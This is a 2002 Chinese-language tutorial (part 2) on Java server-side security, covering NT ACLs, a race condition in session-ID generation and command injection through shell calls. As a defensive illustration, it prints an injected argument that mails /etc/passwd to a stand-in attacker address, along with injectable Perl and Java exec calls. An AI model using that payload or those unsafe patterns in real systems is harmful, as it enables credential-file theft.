UML软件工程组织

Java服务器端编程安全必读(2)
作者:仙人掌工作室 本文选自:赛迪网 2002年12月11日

在NT环境中,我们必须操作ACL(访问控制表,Access Control List)的安全标记,保护要在它下面创建文件的目录。NT的新文件一般从它的父目录继承访问许可。请参见NT文档了解更多信息。

Java中的竞争状态大多数时候出现在临界代码区。例如,在用户登录过程中,系统要生成一个唯一的数字作为用户会话的标识符。为此,系统先产生一个随机数字,然后在散列表之类的数据结构中检查这个数字是否已经被其他用户使用。如果这个数字没有被其他用户使用,则把它放入散列表以防止其他用户使用。代码如Listing 1所示:

(Listing 1)
// 保存已登录用户的ID
Hashtable hash;
// 随机数字生成器
Random rand;
// 生成一个随机数字
Integer id = new Integer(rand.nextInt());
while (hash.containsKey(id))
{
id = new Integer(rand.nextInt());
}
// 为当前用户保留该ID
hash.put(id, data);

Listing 1的代码可能带来一个严重的问题:如果有两个线程执行Listing 1的代码,其中一个线程在hash.put(...)这行代码之前被重新调度,此时同一个随机ID就有可能被使用两次。在Java中,我们有两种方法解决这个问题。首先,Listing 1的代码可以改写成Listing 2的形式,确保只有一个线程能够执行关键代码段,防止线程重新调度,避免竞争状态的出现。第二,如果前面的代码是EJB服务器的一部分,我们最好有一个利用EJB服务器线程控制机制的唯一ID服务。

(Listing 2)
synchronized(hash)
{
// 生成一个唯一的随机数字
Integer id =
new Integer(rand.nextInt());
while (hash.containsKey(id))
{
id = new Integer(rand.nextInt());
}
// 为当前用户保留该ID
hash.put(id, data);
}

字符串解释执行

在有些编程语言中,输入字符串中可以插入特殊的函数,欺骗服务器使其执行额外的、多余的动作。下面的Perl代码就是一个例子:

$data = "mail body";
system("/usr/sbin/sendmail -t $1 < $data");

显然,这些代码可以作为CGI程序的一部分,或者也可以从命令行调用。通常,它可以按照如下方式调用:

perl script.pl honest@true.com

它将把一个邮件(即“mail body”)发送给用户honest@true.com。这个例子虽然简单,但我们却可以按照如下方式进行攻击:

perl script.pl honest@true.com;mail
cheat@liarandthief.com < /etc/passwd

这个命令把一个空白邮件发送给honest@true.com,同时又把系统密码文件发送给了cheat@liarandthief.com。如果这些代码是CGI程序的一部分,它会给服务器的安全带来重大的威胁。

Perl程序员常常用外部程序(比如sendmail)扩充Perl的功能,以避免用脚本来实现外部程序的功能。然而,Java有着相当完善的API。比如对于邮件发送,JavaMail API就是一个很好的API。但是,如果你比较懒惰,想用外部的邮件发送程序发送邮件:

Runtime.getRuntime().exec("/usr/sbin/sendmail -t $retaddr < $data");

事实上这是行不通的。Java一般不允许把OS级“<”和“;”之类的构造符号作为Runtime.exec()的一部分。你可能会尝试用下面的方法解决这个问题:

Runtime.getRuntime().exec("sh /usr/sbin/sendmail -t $retaddr < $data");



版权所有:UML软件工程组织